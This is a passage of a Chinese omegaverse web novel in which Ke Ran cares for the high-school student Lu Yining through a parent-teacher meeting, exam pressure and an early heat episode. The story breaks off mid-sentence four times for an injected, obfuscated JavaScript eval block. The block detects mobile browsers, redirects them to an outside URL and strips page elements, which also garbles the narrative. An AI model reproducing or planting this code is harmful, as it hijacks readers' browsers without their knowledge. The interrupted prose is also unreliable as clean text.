太阳不会知道他的烦恼,因此第二天会照常升起,闹钟响时柯染才睡了不到两个小时,顶着黑眼圈起床,他看向镜子里面色憔悴的自己,不知道的还以为他纵|欲|过度。 到楼下餐厅时陈叶茹见到他脸色如此难看,顿时大惊失色:“你公司要倒闭了?” 柯染:“……没有。” 陈叶茹无语:“那你这一宿没睡的样子是怎么回事,难道是小宁作业太难了你不会?” 柯染:“……也不是。” 眼角瞥见陆一宁从楼上下来,柯染连忙转移话题说早餐有什么,陆一宁匆匆跑下楼,抓住柯染的衣袖,很生气的质问他:“你怎么不等我一起下楼,我的早安吻呢?” 陈叶茹停下倒水的动作,眼神在这两人中徘徊,连柯辰靠近都没注意。 柯染思索两秒,想说平时也没一起下楼,但说出来可能会让陆一宁更生气,所以抉择过后他选择认错:“抱歉,明天我会等你。” 不光口头道歉,行动上他也干脆利落,在陆一宁额头上落下亲吻,他低低道:“早安,小宁。” 陆一宁脸色爆红,支支吾吾半天没说出话,一会儿觉得脸好像比昨晚还烫,一会儿又在想要不要亲回去,可是爸妈还在看,当着他们的面又不太好意思…… 柯染倒是没想那么多,因为这个早安吻他从起床酝酿到现在,再不送出去他就憋死了。 餐桌上一时寂静无声,陈叶茹看看这个,看看那个,问题有一堆却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13191161|139108||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不知如何开口,柯辰想的就比较简单了,他在陈叶茹脸上亲一口,有样学样:“早安,小茹。” 陈叶茹没怎么样,倒是柯染和陆一宁,脸上双双泛起红晕。尤其陆一宁,好不容易脸不烫了,现在又热起来。 为了打破尴尬,柯辰轻咳一声发起话题:“那什么,小宁,明天学校要开家长会是吗,这次又让柯染去吗,还是我或者你妈妈去?” 陆一宁摇摇头,把口中的东西咽下去小声回话:“不用了爸爸,让柯染去就行。” “行,行。”柯辰说了两个字,又冷场了。 吃完饭柯染送陆一宁上学,由于没睡好,他没敢开车,让刘哥坐在前面暂时充当司机。 刘哥十分有眼力见的升起挡板,表示自己什么都不会知道。 柯染:“……”这是做什么?难道他们会一大早就在车里做什么少儿不宜的事吗?! 陆一宁:“……”哎,要是能发生点十|八|禁该多好,只是第一次在车上有点太草率了。 两个心律不齐的人沉默一路,终于到达光明的彼岸——学校门口。 下车前,给自己做了许久心理建设的陆一宁对柯染说:“你脸色不好,今天没什么课就别去公司了,在家好好休息吧。” “好。”柯染点头答应。 “那我走了。”陆一宁说完,眼睛一闭,直直朝柯染的嘴唇撞过来,但没计算好角度,撞歪了,因此只亲了嘴角。 “迟来的早安,柯染。” 陆一宁快速下车跑进学校,仿佛被狗撵了,赵子时和学委跟他打招呼都没听见。 柯染靠在座椅上久久没说话,不知是在回味还是什么,直到刘哥放下挡板问他走不走,他才惊觉陆一宁已经影子都不见了。 回到家,柯辰罕见的没去公司,看上去是在专程等他。 本以为是工作上的事,结果柯辰说:“你悠着点,你妈妈不好意思说,派我过来跟你沟通,小宁还小,你斟酌着点,别做出格的事,你比他大三岁,理应更成熟,有些事我们不说是因为你心里有数,你别过了界。” “我知道,我昨晚没睡好是因为熬夜写代码了。”柯染此地无银三百两的解释,见柯辰不怎么信,他又道:“期中考试前我和他有约定,考进学年前十五答应他一个要求,我只是兑换承诺。” “那就行。”说完正事,柯辰调侃起来,“你还是太嫩,想当初我和你妈妈谈恋爱,第一次牵手第一次亲吻我都淡定得不行,被你外公外婆抓到我都没虚。” “别吹了,也不知道差点被我爸打断腿的人是谁。”陈叶茹不知什么时候出现在身后,吓了他一跳。 柯染面对父母的打情骂俏早习以为常,和他们说了两句话后他就准备回楼上休息,睡觉前他拿出手机搜索了一下从昨晚到现在一直都有的疑虑:#人类会因为亲吻而得心脏病吗? 网上众说纷纭,他不好意思找何医生问,就花钱在网上咨询了个医生,得到否定答案后,柯染才放下心睡去。 22. 愿望 家长会开在周五下午最后两节课,让学生们即使放假了都高兴不起来。 柯染和赵子舟一前一后走入座位,桌上摆放着整齐排列的书本,本次考试的卷子按照科目一一排序,柯染把手伸进桌堂,先是摸出一块面包,随后是一包巧克力,一包坚果,一瓶绿茶,除了书本,桌堂里全是食物。 前方的赵子舟和他一样收获颇丰,还回过头把巧克力的包装给他看:“咱们上学的时候学校超市可没有这么多牌子。” 柯染:“咱们上学的时候学校也没装修。” 赵子舟:“……”毕业就装修的魔咒从幼儿园到高中,希望大学可以不要这么过分。 没一会儿,岳自乐进来了,手里拿着一沓卷子和一张排名表,和家长们打了个招呼后正式开始家长会,柯染在下面听得昏昏欲睡,心说这数学老师真是和从前一样的唠叨。 “本次考试,陆一宁和赵子时、刘雨阳、张宏穆、顾盼声等几位同学,进步巨大,学年排名都有显著提升,还望各位家长能够督促孩子学习……” 听到陆一宁的名字,正在打瞌睡的柯染猛得回神,瞬间坐直了身体,比自己上课还认真。 “尤其是陆一宁同学,从上个月开始,学习就非常积极,希望能够再接再厉,一直保持学习劲头,争取给同学们带一个好榜样……” 岳自乐边说边看柯染的方向,柯染时不时点头一下,表示自己听得很仔细。 表扬与鼓励结束,接下来就是批评与教育时间,柯染听了一会儿,没听到陆一宁的名字,看来最近确实很听话,柯染放心的准备继续打盹,然而刚放心没几分钟,科任老师们就进来了。 英语老师一眼就锁定柯染,柯染打了个激灵,急忙提起精神坐好。 果然,英语老师第一个点名陆一宁,说他明明有打满分的潜力,可就是不努力,如果下次考不到145以上,那么就让他的家长去他办公室亲自聊。 面对英语老师的死亡微笑,柯染笑得十二分谄媚,被前排特意回头嘲笑他的赵子舟好好鄙视了一番。 一场家长会下来,柯染额头愣是出了一层薄汗,好在班主任没找他单独谈话,否则他还真怕一群科任老师在办公室等着他。 相对下来赵子舟就轻松许多,家长会开完他洋洋得意,走路带风,看得柯染牙痒痒,想把下个月的演讲摊给他。 两人并肩向外走,陆一宁和赵子时已经在教学楼门口等候,看到他们出来,原本没什么表情的脸立刻笑靥如花。 陆一宁给柯染捏肩:“老师说什么了?有夸奖我吗?我最近进步很大吧?有没有给你长面子?” 赵子时捶背:“我最近没惹祸老师一定夸我了吧?我在学校可听话了,每天都好好学习好好做值日,老师同学都喜欢我!” 柯染把人拉到前面来,什么都没说,揽住他就往外走,一脸的高深莫测。陆一宁见他不说话,心里有点惴惴不安,可绞尽脑汁也没想到最近闯了什么祸。 难道老师翻旧账告状?陆一宁觉得这个可能性很大,他不禁苦恼,要是柯染把他今天的晚安吻取消了怎么办,撒娇耍赖能有用吗? 陆一宁很是惆怅,在看到赵子舟牵着赵子时的手走路时,这种惆怅达到了顶峰,他也想像赵子舟那样笑得不值钱,奈何柯染不给他机会。 他不甘心的停下脚步,朝前边那两人努努嘴,柯染顺着他的视线看过去,只看到了煎饼果子摊,他不解:“你想吃煎饼果子?” 陆一宁气得跺脚:“……牵手!我要牵手!” 柯染恍然大悟,然后给他画饼:“下次月考英语满分,天天跟你牵。” 陆一宁闻言立刻沮丧起来:“那我这辈子都牵不上了。” “不会的,今天英语老师夸你进步巨大,潜力无穷,让我回家好好奖励你呢。”柯染揉着他的头发鼓励,还没编完就看到英语老师骑着电动车从身旁路过。 大概是听到了他的话,英语老师走远之前还瞪他一眼。 柯染:“……” 陆一宁倒是没注意那么多,在听到有奖励的那一刻他就盘算着该要什么了,不知道想要个深吻柯染会不会同意。 这么想着,他也这么问了,不出所料柯染拒绝了他,还在他脑壳敲了一下:“脑子里不要总想着风花雪月,多想想正经的。” 陆一宁捂住脑袋抗议:“你怎么能说你自己不正经呢?” 柯染无奈又好笑:“我是让你多想想学习,现在不是想我的时候。” 陆一宁追问:“那什么时候才应该想你?” 柯染发动汽车,状若思考:“起码等你高中毕业吧。” 陆一宁不依不饶:“那你早就高中毕业了,你有每天想我吗?” 柯染思索良久,车都开出二里地才回答:“每天都见面,很难不想。” “……”陆一宁气哼哼的抱着胳膊看向了窗外,用柯染正好能听到的音量小声抱怨:“不见面就不想,渣A!顶级渣A!” 柯染:“……”他很想澄清自己是好A,但似乎没什么说服力? 车子在一家烤鱼店停下,柯染给陆一宁解开安全带,半是哄半是笑:“别生气了小少爷,吃点好吃的原谅我行吗?” 陆一宁维持着原来的姿势,想冷冷瞥他一眼,可惜在柯染眼里,他只有可爱。 搂着他的肩膀进门,服务生带他们进入订好的包厢,柯染把菜单递给他:“我提前点完了,你看要不要加。” 陆一宁故意道:“气都让你气饱了。” 柯染笑得愈发欢快,把他头顶呆毛揉乱,好声好气的给他道歉:“我错了,小少爷,我逗你玩的,除了你我还能惦念什么呢。” 陆一宁脸色稍缓,觉得不能这样轻易原谅他,可他都带自己来吃烤鱼了诶,陆一宁心里摇摆不定,自己随口说的话都会被放在心上,好像柯染确实不渣?原谅他也无妨? 柯染把他的神情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13191162|139108||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 全部看在眼里,越看越觉得可爱,陆一宁真的很像一只和主人闹别扭的小狗,即使主人做错了事,小狗还是会软软的舔主人手心,任由主人摸头。 烤鱼端上来,香味溢满整个包厢,陆一宁没了纠结的心思,拿起筷子就大快朵颐起来,柯染挑着鱼刺,把处理好的鱼肉夹进他碗里,漫不经心的想着该怎样把陆一宁的英语提到满分。 光背单词做卷子是远远不够的,语感也很重要,柯染暗中琢磨,要不要以后早起半个小时做英语早读,晚上睡觉前再把英语听力做催眠曲放给陆一宁听。 等陆一宁吃得差不多了,柯染把刚刚的想法告诉了他,陆一宁听完差点被口水呛到,他十分无语道:“早起半小时我可以接受,用听力当催眠曲就算了吧,听完可能我更睡不着。” “有道理。”柯染再次陷入沉思,准备回家把陆一宁的学习计划修改修改,不能让他偏科。 他想得入神,丝毫不知道在陆一宁眼里,他的形象距离操心老父又近了一步。 回到家洗了个澡,陆一宁把卷子拿出来,非常端正的坐在了书桌前,柯染则开着电脑戴着耳机,开着2.5倍速为他挑选适合做早读的英语听力。 挑完一个月的,陆一宁也正好做完一张数学卷子,柯染边批边道:“下张做英语,我找了一套拔高的,看看能打多少分。” 陆一宁眼角弯下去,表情写满拒绝,但柯染在学习上向来严厉,他不想也得想。 休息十分钟,柯染给他计时:“这张卷子对现在的你来说有点难,我多给你半小时,看看成绩。” 陆一宁生无可恋的提起笔,没做几道就蹙起了眉头,柯染的“有点难”和他的“有点难”好像不在一个维度,这是人应该做的题吗?!这是哪个大佬出的题,一点也不考虑他们这种英语学渣的死活吗? 柯染注意到他停笔的时间过于长了,瞄了眼他停在第几题,柯染怀疑起人生——他出的这套题有那么难吗,他根据陆一宁的情况最多提了10%的难度,应该不至于才对。 陆一宁觉得这张卷子他做了有一个世纪那么久,看到柯染连参考答案都不用看,直接就能批对错的样子,他深深觉得学霸和普通人之间可能横亘着一个莫桑比克海峡。 柯染计算了一下分值,眉头紧锁:“比我预估的低十分,有两个地方不该丢分,你粗心了。” 陆一宁:“我真的尽力了。” 柯染把卷子摆在桌上,正色道:“不,你可以做的更好,期末考试如果你能英语满分,我就再满足你一个愿望,除了标记和一起睡,什么都行。” 陆一宁这下可来了精神,要是真能考满分,他绝不能把愿望浪费在牵手上。 可要是考不上满分怎么办,陆一宁很快想出对策:“要是我数学也考了满分,那我要多许一个愿望。” “行。”柯染答应得干脆,“你有几个满分,我就实现你几个愿望。” “一言为定!” 23. 发热 赵子时感觉最近陆一宁努力的不正常,之前虽然也兢兢业业学习,但远不如现在疯魔,如果硬要形容,那就是已经到了废寝忘食的地步。 校门口到教学楼短短几分钟的路程他都要背单词,食堂吃饭,中午午休,包括下课十分钟,陆一宁都是在做卷子或者背单词,像被人夺舍了一样。 柯染也发现他状态不对,自从那天两人约定好,陆一宁的气色就肉眼可见的一天比一天差,起初他以为是自己给的压力太大了,还劝导过几句,直到接到赵子时打来的电话,他才意识到事情有些大条。 陆一宁的发热期提前了,如果不是赵子时发现他身体在持续发热,和班长一起把他送进医务室,他就要在厕所里释放信息素了。 柯染仓促赶到医务室时陆一宁刚睡下没几分钟,班长也是Omega,临时给他注射了一支自己的备用抑制剂,稍稍起了点作用,缓解了他发热的症状,但信息素还是似有若无的在慢慢往外溢散。 岳自乐是Alpha,不方便待在屋内,屋里只有赵子时一个人陪着,看到柯染进来,他悬着的心总算放下。 柯染轻轻抱起陆一宁,陆一宁在睡梦中察觉到有喜欢的气息靠近,迷迷糊糊的就往柯染身边凑,脑袋一拱一拱的在柯染颈侧蹭来蹭去,光蹭不满足,他还要啃。 不知是不是把柯染的锁骨当成了鸭锁骨,陆一宁的小尖牙在上面徘徊了一会儿,挑准了下口的地方,随后毫不犹豫的咬了下去。 “嘶”,柯染痛呼出声,抬手摸上被咬的地方,没出血,但印子很深,而且陆一宁好像没咬够,牙齿磕在锁骨上,正跃跃欲试寻找下一个可以入口的地方。 “真是小狗不成。”柯染呢喃一声,微微拉开了两人的距离,同时释放信息素试图安抚陆一宁,狭小的医务室内,檀香和青竹彼此纠缠不休。 青竹强烈渴望着檀香,可柯染释放的信息素有限,实在不能让人满意。因此他只能自己动手,丰衣足食,像个有礼貌的小朋友般,信息素敲击着柯染后颈的阻隔贴,似乎只要把这扇门敲开,就可以得到他最喜欢的东西。 柯染禁锢住怀里乱动的陆一宁,再次释放信息素,可是不够,还是不够,陆一宁摸索着他的肩膀,想要攀上他的脖颈,他想要全部,柯染的全部。 他想全要柯染却不敢全给,医务室毕竟在学校范畴,稍不注意就会引起不堪设想的后果,因此陆一宁再难受,他也只能一点一点缓慢释放信息素。 起码先把陆一宁的状况稳定下来,否则门都没法出。 过了差不多一个小时,陆一宁的信息素浓度开始大幅度降低,缠着柯染的力道也逐渐减少,柯染趁机用自己的外套把他裹紧,像抱孩子似的把他抱出了医务室。 “李哥,开车,先回家。”今天柯染特地带了个Beta保镖,万一路上有什么意外,好能及时把他和陆一宁分开。 好在一路有惊无险,柯染虽然被刺激得腺体发烫难受,但到底没失控,平安把陆一宁带回了家。 何医生在给陆一宁做过详细的检查后,得出结论:“小少爷是作息不规律,劳累过度,压力又大,腺体发炎导致的信息素紊乱,所以发热期才会提前,不光信息素,他体内其他激素也有些失衡,按照目前的状况来看,至少得吃半个月药,不过光吃药没用,期间还需要大少爷的信息素不断配合安抚才行。” 柯染在她说第一句话时拧起了眉,作息不规律?劳累过度?在他眼皮子底下待着居然会出这种毛病,柯染不禁反思,是不是他对陆一宁的关心太少了,还是他把陆一宁逼得太紧了,也许他不应该那么严厉,陆一宁就算真考不上好大学,他也可以养着这人一辈子。 “对了。”何医生提醒道,“小少爷这种情况,大少爷最好预防着点,万一您易感期了,我可能会忙不过来。” 柯染头疼:“那你给我开点药吧,或者在他没好之前,我每天打一针抑制剂?” 何医生:“开药吧,不在易感期内打抑制剂对身体也有损害。” 柯染点头,又问:“我是不是得给他在学校请假,请多久合适?” 何医生思考一会儿,“至少要先请一周,他的发热期应该三天就能结束,但信息素紊乱会导致他未来一周无法控制信息素,在公共场合会引起慌乱。” “行,我知道了。”说完柯染就去给岳自乐打电话了,把陆一宁的情况简单讲一遍,岳自乐爽快的给了假期。 信息素紊乱是Alpha和Omega群体比较常见的一种疾病,每学期都会有学生因为这个原因请假,当老师的早就见怪不怪。 挂掉电话回去守着陆一宁,柯染心里盘算着假期结束正好还有个全国法定七天假日,加起来差不多够陆一宁休养了。 柯染坐在床边出神的看着陆一宁,平时鲜活爱动的人此时此刻脸色苍白如纸,没有一丝血色,就连空气中飘荡的青竹信息素都失去了往日的活力。 陆一宁睡得很不安稳,中途何医生进来打针把他惊醒过一次,柯染哄了好一会儿陆一宁才让针扎进去。 看到抓着柯染的手睡觉的陆一宁,何医生调侃:“大少爷,考验你定力的时候到了。” 柯染没理她这句话,只是问:“你开的药,我能现在就吃一片吗?” 何医生:“……”年轻人定力果然不行。 陆一宁睡了整整一下午,晚上八点多睁眼看到家里的摆设还以为在做梦,缓了几秒才想起来自己发热期提前被柯染接回家了。 柯染在他床边坐了一下午,期间陆一宁握住他的手不松,他怕把人吵醒也不敢动,身子都僵了。 去给陆一宁倒了杯水权当活动,把水喂到陆一宁嘴边,看他喝完,柯染问道:“有没有不适的地方?我让何阿姨来看看。” “除了感觉有点累,其他还好。”陆一宁靠在床头,有气无力道。 “乖,检查完我们就吃饭。”摸上陆一宁柔软的头发,柯染低声哄道。 与何医生一起进来的还有柯辰和陈叶茹,两人晚上下班回来听说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13191163|139108||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陆一宁病了,担心得不行,现在人醒了他们也松口气。 “晚上睡觉前打一针抑制剂就可以,切记,除了大少爷,尽量不要让小少爷接触到其他人的信息素,以免病情加重。” 何医生的话让房间里三个大人连连点头。 柯辰:“这几天我会注意,实在不行我搬出去住,家里的其他Alpha也搬出去。” 陆一宁抽抽嘴角:“爸爸,不要这么夸张好嘛。” 陈叶茹把陆一宁半抱在怀里,满眼心疼:“都怪我们最近光顾着工作,都没好好关心小宁,否则也不会出这种事。” “没有的,是我自己学习压力大,妈妈不要自责。”陆一宁回抱住她,心和身体一样温暖。 说了几句话,聊了些注意事项,柯辰和陈叶茹还有何医生离开,房间就剩陆一宁和柯染两个人,陆一宁拍拍床铺,让他坐上来,自己则爬到柯染身上,窝进了他怀里。 “抱歉,小宁。”拍着陆一宁的背,柯染愧疚的与他道歉,“我不该对你太严格,学习需要循序渐进,以后我不会给你压力了。” 陆一宁最看不得柯染低声下气的模样,他喜欢柯染严厉管教他,他在柯染的管教中可以感受到爱,感受到安心。 因此,柯染刚道完歉,他就把自己老底掀了。 “和你没关系,是我自己晚上偷偷学习,中午又不午休……”话才说到一半,陆一宁就感觉柯染放在自己腰间的手收紧了,意识到不对,他赶紧仰头露出一个讨好的笑,试图蒙混过关。 然而柯染根本不吃这套,他挑挑眉,示意陆一宁最好坦白从宽,否则别怪他抗拒从严。 “好吧。”陆一宁破罐子破摔,闭上眼一口气道:“因为太想和你许愿,所以最近我每天都两点睡,五点起,怕你发现,我都不敢开灯,只能用小台灯,特别累眼睛。” “你啊。”柯染无可奈何的叹了口气,说起来还是怪他,怪他给陆一宁的甜头太多,让人这么不要命的学习。 “你别生我气好吗?”陆一宁把脸贴在他脖子上,声音里透着小心翼翼。 “我没生你气,吓到你了?”柯染把人抱紧,察觉到陆一宁身体绷起来,他不动声色的释放出信息素安抚。 “你真不生我气?”陆一宁不放心。 “真的。”柯染发觉陆一宁的身子放松些了,继续柔声抚慰:“我不会因为这件事生你气,期末就算没有满分我也实现一个愿望好吗,不要用自己的健康换取任何事,没什么比你本人还重要,知道吗?” 陆一宁点点头,心里无比受用,正要说点可以升温感情的话,房门被敲响了,是张叔来送馄饨,柯染吩咐厨房特意给陆一宁煮的鲜肉馄饨。 陆一宁吃了半碗就吃不下了,柯染把他剩下的囫囵吃完,陆一宁支使他下楼给自己切水果,确认柯染一时半会儿回不来,陆一宁偷偷跑进了何医生的房间。 一进门就问:“何阿姨,我要是趁这次信息素紊乱勾着柯染给我个标记,会有危险吗?” 24. 控诉 何医生正倚在沙发上吞云吐雾,张叔坐在她对面手里捧着一本书看得入迷,听到敲门声他们谁都没在意,却不想陆一宁一进门就问得这么劲爆,张叔吓得赶紧看一眼门有没有关严。 “小少爷,你怎么跑来了,虽然我支持你拿下大少爷,但大少爷要是知道你这样做,一定会生气的。”张叔不由担忧道。 陆一宁挠挠头,不怎么在意:“我在他面前作死也不是一次两次了,他不会真把我怎么样的。” 要真能狠狠惩戒他还好了呢,当然,这个想法陆一宁没敢说出来。 “何阿姨,你觉得呢?”陆一宁又问何医生。 何医生掐灭烟,思考两秒才回答:“他现在对你正是最愧疚的时候,你的信息素也控制不好,要是有心引诱,他的易感期不是不能……” 话没说完,她放在桌上的手机震动了一下,她瞄了眼谁发来的消息,是柯染,明晃晃的警告:何阿姨,您要是乱给小宁出主意,我就好好给张叔讲讲你的前男友,们。 重点是那个“们”。 “何阿姨,不是不能什么?”陆一宁并未看到手机上的消息,听何医生话说到一半就消音了,他不禁追问,“你怎么不说了?” 何医生成功被威胁到,她讪笑两声,又咳了咳,生硬的转移话题:“我是说大少爷是个stronger,你就是用信息素引诱也没用,他坐怀不乱真君子,你还是打消这个念头吧,不然我和你都吃不了兜着走。” 陆一宁蹙眉:“你刚刚要说的不是这个。” “怎么不是!”何医生斩钉截铁的否认,顺便赶人:“我刚才要说的就是这个,那什么,我有点困了,要和张管家,不是,我要睡了,小少爷和张管家都回去吧。” 说完何医生就不由分说的把两人推到了门外,看着面前紧闭的房门,陆一宁和张叔面面相觑。 陆一宁:“张叔,何阿姨想和你做什么?” 张叔:“啊那什么我也困了,小少爷晚安!” 张叔拔腿就走,独留陆一宁缓缓在头顶升起问号。 不过他也不敢在走廊上多留,万一柯染先回房间没看到他,那他的后果一定很惨。 好在柯染速度很慢,陆一宁回房间躺了快十分钟柯染才端着一盘水果姗姗而来,因为心虚,陆一宁随便拿起一块哈密瓜就放进了嘴里,嚼两下咽下去后他竖起大拇指:“你亲手切的瓜就是甜。” 柯染没理他这话,而是问:“何医生来过吗,我闻到她抽的烟味了。” 陆一宁下意识就要低头闻自己,头低到一半硬生生忍住了,干笑一下,他找借口道:“是吗,我没闻到,可能是之前来打针时留下的味道吧。” 柯染似笑非笑的看着他:“但愿是吧。” 陆一宁在被窝里缩成鹌鹑不敢说话,心道Alpha的心海底针,切水果前对他心疼得就差把天上的星星摘给他了,下个楼的工夫就对他冷漠似冰了,渣A!! “你说什么?”柯染把他从被子里捞出来抱到腿上坐着,含笑在他耳边问道。 陆一宁这才发现自己竟然不小心把心里话说出来了,看柯染的表情就知道他肯定听到了,既然如此,他索性全都说出来。 “我说你是渣A!你都不释放信息素安抚我,也不喂我吃水果,更不主动提晚上陪我一起睡,你就不怕我一个人睡半夜出什么意外吗?我都生病了,这么脆弱了,你都不多关心关心我,你怎么这么狠心,你就是渣A!我说错了吗!” 柯染:“……” 柯染觉得自己很冤枉,他想为自己辩解,为自己澄清,可是还没等开口,陆一宁就从他腿上挪下去坐到了他对面,继续控诉。 “你看看你,切水果都切那么久,那么磨蹭,你就不担心我吃不到水果会营养不良吗?刚才抱我的时候你都没用手环住我的腰,你就不怕我从你腿上掉下去吗?还有现在,听我说了这么多话,你都不怕我口渴吗,连水都不给我倒,你这个没有心的冷漠渣A!” 柯染:“……” 他站起身走到窗前,打开窗户看了一眼,月亮高悬,群星闪烁,看起来天气很好。 陆一宁看他不理自己,气呼呼的责问:“你在看什么?外面有什么好看的?” 柯染一本正经:“我看外面下没下雪。” 陆一宁冷哼:“没下雪就说明你不冤枉!我刚才说的话都没错!” 柯染:“……” 他拿陆一宁是真没辙,因为陆一宁无理取闹的样子他都觉得可爱。 大概是无可救药了,柯染想。 “你怎么还不承认你的错误?”迟迟听不到回话,陆一宁抱住胳膊,满脸质问。 柯染倒了杯水,坐回他身边喂给他,试图一一解释:“我没有不关心你,我也有释放信息素,我只是不敢释放太多,喂你水果的事,我没来得及喂你就躲进被子里骂我了,至于陪你睡,你不说我晚上也会在这里守夜,还有切水果,不是你希望我晚点上来的吗?刚才抱你我虽然没搂你腰,但我有护着你的后背,不会让你掉下去,水,刚才你喝了。” 陆一宁强词夺理:“你的解释一点都不诚心,你还对病人大吼大叫,反正就是你的错。” 这个柯染可就不承认了:“我什么时候吼你了??” 陆一宁理直气壮:“现在。” 柯染:“……” 柯染无话可说,除了哄还能怎么样呢,从小疼到大的小少爷,生病了冲他发脾气是应该的,要是他能细心点,陆一宁也不用遭这个罪。 愧疚心又被勾起来,柯染表情略有沉重,陆一宁暗道不好,用力过猛了,恐怕这一段时间柯染心里都不会好受了。 这不是他想要的结果,他只是想给自己谋取一点福利,并不想看到柯染为他难受。 “你说的对,是我对你关心不够。”在陆一宁开口前,柯染诚恳的向他道歉:“很抱歉,小宁,我不该疏忽你,今后不会再发生这种事了。” 陆一宁:“……我不想听你道歉,你根本没错你道什么歉,我只想要你对我亲亲抱抱,不想听你讲废话。” “好。”柯染一把抱住他,檀香味徐徐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13191164|139108||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 散入空气中,陆一宁用力嗅了嗅,惬意的闭上了双眼。 柯染的怀抱太安心,他只是坐在对方怀里就差点睡着,檀香与青竹相互交织,空气中溢满了两人交融的气息。 柯染一手环抱他一手去抽屉里拿抑制剂,然后轻轻摇醒怀里的人,想给他注射。 “不打不行吗,你标记我不就好了吗,我不想打抑制剂,我讨厌抑制剂。”被唤醒的陆一宁十分不悦,声音黏糊糊的往柯染怀里躲,看起来非常抗拒。 “听话。”柯染按住他,耐心十足:“打抑制剂是为了你的身体着想,就算我标记你也无法治好你信息素紊乱的症状,乖一点好不好?” 陆一宁一点也不想乖,他只想要柯染的犬牙狠狠咬进他的腺体,他想和柯染无论是生理还是心理都有深刻且不可断裂的羁绊。 可是柯染不愿意,他不想标记自己,他好像,不喜欢自己。 陆一宁的信息素骤然失控,室内霎时飘满了青竹香,柯染后颈的腺体隐隐发烫,檀香不由自主的纠缠上青竹,两股信息素互相影响,柯染咬紧牙关,尽力让自己保持冷静。 陆一宁已经昏迷过去,他不知道事情为什么会演变成这样,他只知道再放任下去,会酿成大祸。 用力咬了下舌尖,柯染拔下注射器的盖子,找准位置狠心推了进去,陆一宁似有所觉,挣扎着想要避开,柯染另一只手把他按紧,直到打完抑制剂才松开。 陆一宁趴在他怀里,又像白天那样对他的锁骨跃跃欲试。 柯染无暇顾及他的动作,他正在用手机联系何医生,让她赶紧过来一趟,再不来他就坚持不住了。 何医生压根没睡,收到消息后立刻全副武装的赶了过来,看到屋内的状况,她庆幸自己来的足够快,否则会发生什么真不敢保证。 先给柯染吃了一粒特效药,控制住他的情况,何医生才去看陆一宁,精密的检查过后,她道:“小少爷是受到刺激才会如此,您对他做什么了?” 柯染茫然无措:“我?我就是劝他打抑制剂,他不想打,话都没说几句就这样了,我什么都没做。” 现在追究这些没有意义,当务之急是把陆一宁稳定下来,何医生不敢给他使用强效抑制剂,对身体有害不说,柯染也不会同意,因此她只能开一瓶药,先扎上针再说。 这屋动静太大,柯辰和陈叶茹都赶了过来,柯辰不敢进屋多待,在门口看了几眼就走了,陈叶茹进去看护,何医生则趁机把柯染叫到了门外,一是让他冷静冷静,二是有事交代。 “信息素和激素紊乱会使人脾气多变,最好多哄着点,Omega的症状通常表现为爱撒娇,爱粘人,还爱哭爱闹,这些日子大少爷多担待着点,等信息素和激素平衡过来就好了。” 柯染愣愣的点头:“我知道了,我会尽量顺着他的。” “好,那我去叫人把信息素监测仪搬进来,大少爷回去吧,小心小少爷看不到您发脾气。” 何医生快步离开,心里默念,小少爷,我只能帮你到这儿了,剩下的可就靠你自己发挥了。